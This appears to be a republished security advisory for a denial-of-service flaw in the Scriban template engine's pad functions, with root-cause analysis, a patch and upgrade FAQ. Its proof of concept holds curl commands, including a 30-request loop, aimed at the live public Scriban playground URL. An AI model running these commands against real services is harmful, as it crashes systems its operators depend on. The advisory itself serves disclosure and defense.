GHSA-V66J-X4HW-FV9G

The built-in string.pad_left and string.pad_right template functions in Scriban perform no validation on the width parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input, as in the official Scriban.AppService playground deployed on Azure, an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via OutOfMemoryException.

Details

StringFunctions.PadLeft and StringFunctions.PadRight (src/Scriban/Functions/StringFunctions.cs:1181-1203) directly delegate to .NET's String.PadLeft(int) / String.PadRight(int) with no bounds checking:

// src/Scriban/Functions/StringFunctions.cs:1181-1183
public static string PadLeft(string text, int width)
{
    return (text ?? string.Empty).PadLeft(width);
}

// src/Scriban/Functions/StringFunctions.cs:1200-1202
public static string PadRight(string text, int width)
{
    return (text ?? string.Empty).PadRight(width);
}

The TemplateContext.LimitToString property (default 1MB, set at TemplateContext.cs:147) does not prevent the allocation. This limit is only checked during ObjectToString() conversion (TemplateContext.Helpers.cs:101-103), which runs after the string has been fully allocated by PadLeft/PadRight. The dangerous allocation is the return value of a built-in function, it occurs before output rendering.

The Scriban.AppService playground (src/Scriban.AppService/Program.cs:63-140) exposes POST /api/render with:

• No authentication
• Template size limit of 1KB (line 71), the payload fits in 39 bytes
• A 2-second timeout via CancellationTokenSource (line 118), but this only cancels the await Task.Run(...), not the running template.Render() call (line 122). The BCL PadLeft allocation completes atomically before the cancellation can take effect.
• Rate limiting of 30 requests/minute (line 25)

PoC

Single request to crash or degrade the AppService:

curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}'

This 39-byte template causes PadLeft(500000000) to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).

Expected result: The service returns an error or truncated output safely.

Actual result: The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws OutOfMemoryException crashing the process.

Sustained attack with rate limiting:

# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure
for i in $(seq 1 30); do
  curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
    -H "Content-Type: application/json" \
    -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' &
done
wait

The string.pad_right variant works identically:

curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}'

• Remote denial of service against any application that renders untrusted Scriban templates, including the official Scriban playground at scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net.
• An unauthenticated attacker can crash the hosting process via OutOfMemoryException with a single HTTP request.
• With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.
• The existing LimitToString and timeout mitigations do not prevent the intermediate memory allocation.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

GHSA-V66J-X4HW-FV9G has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.0.0); upgrading removes the vulnerable code path.

Kodem intelligence

Add width validation in StringFunctions.PadLeft and StringFunctions.PadRight to cap the maximum allocation. A reasonable upper bound is the LimitToString value from the TemplateContext, or a fixed maximum if the context is not available:

// src/Scriban/Functions/StringFunctions.cs

// Option 1: Fixed reasonable maximum (simplest fix)
public static string PadLeft(string text, int width)
{
    if (width < 0) width = 0;
    if (width > 1_048_576) width = 1_048_576; // 1MB cap
    return (text ?? string.Empty).PadLeft(width);
}

public static string PadRight(string text, int width)
{
    if (width < 0) width = 0;
    if (width > 1_048_576) width = 1_048_576; // 1MB cap
    return (text ?? string.Empty).PadRight(width);
}

Alternatively, make the functions context-aware and use LimitToString as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.

1. What is GHSA-V66J-X4HW-FV9G? GHSA-V66J-X4HW-FV9G is a high-severity allocation of resources without limits or throttling vulnerability in Scriban (nuget), affecting versions < 7.0.0. It is fixed in 7.0.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is GHSA-V66J-X4HW-FV9G? GHSA-V66J-X4HW-FV9G has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of Scriban are affected by GHSA-V66J-X4HW-FV9G? Scriban (nuget) versions < 7.0.0 is affected.
4. Is there a fix for GHSA-V66J-X4HW-FV9G? Yes. GHSA-V66J-X4HW-FV9G is fixed in 7.0.0. Upgrade to this version or later.
5. Is GHSA-V66J-X4HW-FV9G exploitable, and should I be worried? Whether GHSA-V66J-X4HW-FV9G is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-V66J-X4HW-FV9G is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-V66J-X4HW-FV9G? Upgrade Scriban to 7.0.0 or later.